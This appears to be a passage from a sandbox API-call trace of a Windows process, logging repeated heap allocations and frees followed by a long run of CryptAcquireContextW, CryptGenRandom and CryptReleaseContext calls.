	[0031.057] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.057] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.057] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.057] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.057] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.057] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.057] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.057] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.057] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.057] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.057] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.057] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.057] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.057] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baa88 | out: hHeap=0x580000) returned 1
	[0031.057] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba970 | out: hHeap=0x580000) returned 1
	[0031.057] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b6c38 | out: hHeap=0x580000) returned 1
	[0031.057] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0031.057] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x58efc0 | out: hHeap=0x580000) returned 1
	[0031.057] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b99d8
	[0031.057] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9948
	[0031.057] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b98b8
	[0031.057] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9828
	[0031.057] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9798
	[0031.057] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9708
	[0031.057] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9678
	[0031.057] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b95e8
	[0031.057] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9558
	[0031.057] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b94c8
	[0031.057] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9438
	[0031.057] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b93a8
	[0031.057] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9318
	[0031.057] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9288
	[0031.057] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b91f8
	[0031.057] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8748
	[0031.057] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b87d8
	[0031.057] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8868
	[0031.057] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b88f8
	[0031.057] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8988
	[0031.058] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8a18
	[0031.058] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8aa8
	[0031.058] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8b38
	[0031.058] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8bc8
	[0031.058] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8c58
	[0031.058] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8ce8
	[0031.058] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8d78
	[0031.058] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8e08
	[0031.058] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8e98
	[0031.058] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8f28
	[0031.058] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8fb8
	[0031.058] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9048
	[0031.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b99d8 | out: hHeap=0x580000) returned 1
	[0031.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9948 | out: hHeap=0x580000) returned 1
	[0031.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b98b8 | out: hHeap=0x580000) returned 1
	[0031.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9828 | out: hHeap=0x580000) returned 1
	[0031.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9798 | out: hHeap=0x580000) returned 1
	[0031.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9708 | out: hHeap=0x580000) returned 1
	[0031.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9678 | out: hHeap=0x580000) returned 1
	[0031.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b95e8 | out: hHeap=0x580000) returned 1
	[0031.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9558 | out: hHeap=0x580000) returned 1
	[0031.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b94c8 | out: hHeap=0x580000) returned 1
	[0031.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9438 | out: hHeap=0x580000) returned 1
	[0031.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b93a8 | out: hHeap=0x580000) returned 1
	[0031.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9318 | out: hHeap=0x580000) returned 1
	[0031.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9288 | out: hHeap=0x580000) returned 1
	[0031.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b91f8 | out: hHeap=0x580000) returned 1
	[0031.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8748 | out: hHeap=0x580000) returned 1
	[0031.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b87d8 | out: hHeap=0x580000) returned 1
	[0031.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8868 | out: hHeap=0x580000) returned 1
	[0031.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b88f8 | out: hHeap=0x580000) returned 1
	[0031.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8988 | out: hHeap=0x580000) returned 1
	[0031.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8a18 | out: hHeap=0x580000) returned 1
	[0031.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8aa8 | out: hHeap=0x580000) returned 1
	[0031.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8b38 | out: hHeap=0x580000) returned 1
	[0031.062] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8bc8 | out: hHeap=0x580000) returned 1
	[0031.062] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8c58 | out: hHeap=0x580000) returned 1
	[0031.062] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8ce8 | out: hHeap=0x580000) returned 1
	[0031.062] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8d78 | out: hHeap=0x580000) returned 1
	[0031.062] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8e08 | out: hHeap=0x580000) returned 1
	[0031.062] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8e98 | out: hHeap=0x580000) returned 1
	[0031.062] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0031.062] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8fb8 | out: hHeap=0x580000) returned 1
	[0031.062] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9048 | out: hHeap=0x580000) returned 1
	[0031.062] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0031.062] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba858 | out: hHeap=0x580000) returned 1
	[0031.062] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5b6c38
	[0031.062] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5bc840
	[0031.062] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5ba7b8
	[0031.062] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x108) returned 0x5ba858
	[0031.062] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.062] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc) returned 0x58efc0
	[0031.062] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0031.062] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc840 | out: hHeap=0x580000) returned 1
	[0031.062] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b90d8
	[0031.062] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba7b8 | out: hHeap=0x580000) returned 1
	[0031.062] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5ba970
	[0031.062] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0031.062] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fe0
	[0031.062] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc) returned 0x58efd8
	[0031.062] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.062] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fe0 | out: hHeap=0x580000) returned 1
	[0031.062] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x88) returned 0x5b90d8
	[0031.062] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x58efd8 | out: hHeap=0x580000) returned 1
	[0031.062] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baa88
	[0031.062] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0031.062] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.062] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.062] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.062] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.062] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.062] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.062] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.062] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.062] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.063] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.064] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.064] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.064] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.064] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.064] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.064] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.064] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.064] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.065] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.065] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.065] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.065] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.065] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.065] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.066] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.066] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.066] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.067] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.067] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.067] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.068] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.068] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.068] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.069] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.069] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.069] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.069] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.069] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.069] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.070] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.070] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.070] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.071] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.071] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.071] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.072] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.072] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.072] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.072] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.072] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.072] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.073] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.073] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.073] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.074] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.074] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.074] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.075] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.075] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.075] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.076] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.076] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.076] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.077] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.077] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.077] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.077] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.077] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.078] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.078] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.078] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.078] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.079] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.079] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.079] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.080] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.080] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.080] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.080] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.080] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.080] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.081] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.081] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.081] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.082] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.082] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.082] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.083] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.083] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.083] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.083] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.083] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.083] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.084] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.084] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
